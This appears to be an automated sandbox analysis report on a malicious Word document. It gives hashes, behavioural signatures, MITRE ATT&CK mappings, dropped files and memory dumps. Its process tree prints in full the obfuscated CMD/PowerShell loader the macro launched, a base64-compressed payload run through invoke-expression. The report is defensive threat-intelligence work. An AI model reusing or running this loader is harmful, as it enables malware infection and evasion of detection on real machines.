a25d721ff72eecb7d97eb746ce01ac6ff63e3a72fa2614fc3380919be792cbc9

General

Target

a25d721ff72eecb7d97eb746ce01ac6ff63e3a72fa2614fc3380919be792cbc9.doc
Size

66KB
MD5

442fa824fda4f1a62061dbf85af3fc23
SHA1

7178263616de595882740389d175aa9c155c17c4
SHA256

a25d721ff72eecb7d97eb746ce01ac6ff63e3a72fa2614fc3380919be792cbc9
SHA512

1dc52ea851db31b703ef1777eb90df87d802bab3b21b2c717aa2a953ed3b378d4ae13932e28e7c0e9707ec9b32d83786f4963e20a517d448606b98a2f59cd3f2
SSDEEP

768:0VucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBs3ylZUbu11qrOhdr:0ocn1kp59gxBK85fBYyUzOh

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1476	3996	CMD.exe	WINWORD.EXE

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

23 636 powershell.exe
26 636 powershell.exe
29 636 powershell.exe
30 636 powershell.exe
33 636 powershell.exe
35 636 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

636 powershell.exe

flow	pid	process
23	636	powershell.exe
26	636	powershell.exe
29	636	powershell.exe
30	636	powershell.exe
33	636	powershell.exe
35	636	powershell.exe

pid	process
636	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3996 WINWORD.EXE
3996 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

636 powershell.exe
636 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 636 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3996 WINWORD.EXE
3996 WINWORD.EXE
3996 WINWORD.EXE
3996 WINWORD.EXE
3996 WINWORD.EXE
3996 WINWORD.EXE
3996 WINWORD.EXE

pid	process
3996	WINWORD.EXE
3996	WINWORD.EXE

pid	process
636	powershell.exe
636	powershell.exe

description	pid	process
Token: SeDebugPrivilege	636	powershell.exe

pid	process
3996	WINWORD.EXE
3996	WINWORD.EXE
3996	WINWORD.EXE
3996	WINWORD.EXE
3996	WINWORD.EXE
3996	WINWORD.EXE
3996	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXECMD.exe

description	pid	process	target process
PID 3996 wrote to memory of 1476	3996	WINWORD.EXE	CMD.exe
PID 3996 wrote to memory of 1476	3996	WINWORD.EXE	CMD.exe
PID 1476 wrote to memory of 636	1476	CMD.exe	powershell.exe
PID 1476 wrote to memory of 636	1476	CMD.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a25d721ff72eecb7d97eb746ce01ac6ff63e3a72fa2614fc3380919be792cbc9.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3996
- C:\Windows\SYSTEM32\CMD.exe
  CMD cMd.ExE /C "SeT mPQT=. ( $psHome[4]+$PShomE[30]+'X') (NEw-ObjEcT Io.cOMpRESsION.DefLAtesTREAm([SYstem.Io.mEMorYstREAm] [SYStEM.cOnvErT]::FRoMbASE64sTriNG('NZDRTgIxEEV/ZR+alA3SxicNzSYkiBskggYTNfGllMGtdDt1W7Yi2X+3S+T1nsmZO0MWD2VhIY5w8wUqZEsI7BU2U6PBBkG+1aKgVQhuzLnRaCuswR99gJpVB/64fts5P/nnMUbm0RzRMoU1kw2XzxfWKmx8UifAoxsptCH5+cEZlFvPn1pXXkY/vTRJIYG790u2xVpbPO806ne6mpWUrZ3RYUAnNBdkXb5kRUZvbq+pIFGvCgK2HaeWbkg/6LDnQ8rgB6jYYQNSVQOynMVM26w/MT+F5ngi6RXsDqPtO91rA+eZq6wX5mJuW9zDaJ6k50RskmcvOiWDqk5d9wc='), [systeM.Io.COMpResSiOn.coMPREsSiOnMoDE]::dECoMPrEss) ^| fOrEaCH-oBJEcT{NEw-ObjEcT SyStEm.io.StrEAmReAdER( $_ , [TExt.EncODing]::AsciI )} ).ReaDtOeNd( ) && PoWerSHelL Set-item ( 'va' +'RIablE:MY' + 'A' ) ([tYPe]( \"{0}{2}{3}{1}\" -F'E','eNt','n','viRONM' ) ) ; ( $MYa::( \"{0}{1}{3}{5}{2}{6}{4}\"-f 'GETENv','Ir','Ent','On','RIaBLe','m','vA' ).Invoke( ( \"{1}{0}\"-f 'qt','Mp' ),(\"{0}{2}{1}\" -f'pR','s','OCES' ) )) ^| ^& ( ( ^&( \"{1}{2}{0}\"-f 'le','v','ARiab') ( \"{0}{1}\" -f '*mdR','*' )).\"N`AMe\"[3,11,2]-join'' )"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PoWerSHelL Set-item ( 'va' +'RIablE:MY' + 'A' ) ([tYPe]( \"{0}{2}{3}{1}\" -F'E','eNt','n','viRONM' ) ) ; ( $MYa::( \"{0}{1}{3}{5}{2}{6}{4}\"-f 'GETENv','Ir','Ent','On','RIaBLe','m','vA' ).Invoke( ( \"{1}{0}\"-f 'qt','Mp' ),(\"{0}{2}{1}\" -f'pR','s','OCES' ) )) | & ( ( &( \"{1}{2}{0}\"-f 'le','v','ARiab') ( \"{0}{1}\" -f '*mdR','*' )).\"N`AMe\"[3,11,2]-join'' )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\781.exe

Filesize
45KB

MD5
adc8c48a803eb871090c74ef28d0edb5

SHA1
c033b5766561f389543279ee1d3193ad2a05c544

SHA256
5ea545999380810c63f3a2e643cb2cc09671e42e089007750982c301e5e2a486

SHA512
d9f11074763cd6d78194f63476ea3513f58c10745fa63d9533e68941743ebd2203033e438349f48aff91ac18c11988592fd936854f4f0c472d6885125bb68675

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_so4hrwxr.glv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/636-46-0x000002D3792C0000-0x000002D3792E2000-memory.dmp

Filesize
136KB

Download
memory/3996-10-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-37-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-11-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-1-0x00007FFDB7C8D000-0x00007FFDB7C8E000-memory.dmp

Filesize
4KB

Download
memory/3996-9-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-12-0x00007FFD75310000-0x00007FFD75320000-memory.dmp

Filesize
64KB

Download
memory/3996-8-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-7-0x00007FFD77C70000-0x00007FFD77C80000-memory.dmp

Filesize
64KB

Download
memory/3996-15-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-14-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-16-0x00007FFD75310000-0x00007FFD75320000-memory.dmp

Filesize
64KB

Download
memory/3996-17-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-13-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-6-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-36-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-38-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-5-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-4-0x00007FFD77C70000-0x00007FFD77C80000-memory.dmp

Filesize
64KB

Download
memory/3996-2-0x00007FFD77C70000-0x00007FFD77C80000-memory.dmp

Filesize
64KB

Download
memory/3996-3-0x00007FFD77C70000-0x00007FFD77C80000-memory.dmp

Filesize
64KB

Download
memory/3996-71-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-72-0x00007FFDB7C8D000-0x00007FFDB7C8E000-memory.dmp

Filesize
4KB

Download
memory/3996-73-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-74-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-75-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-81-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-82-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-0-0x00007FFD77C70000-0x00007FFD77C80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads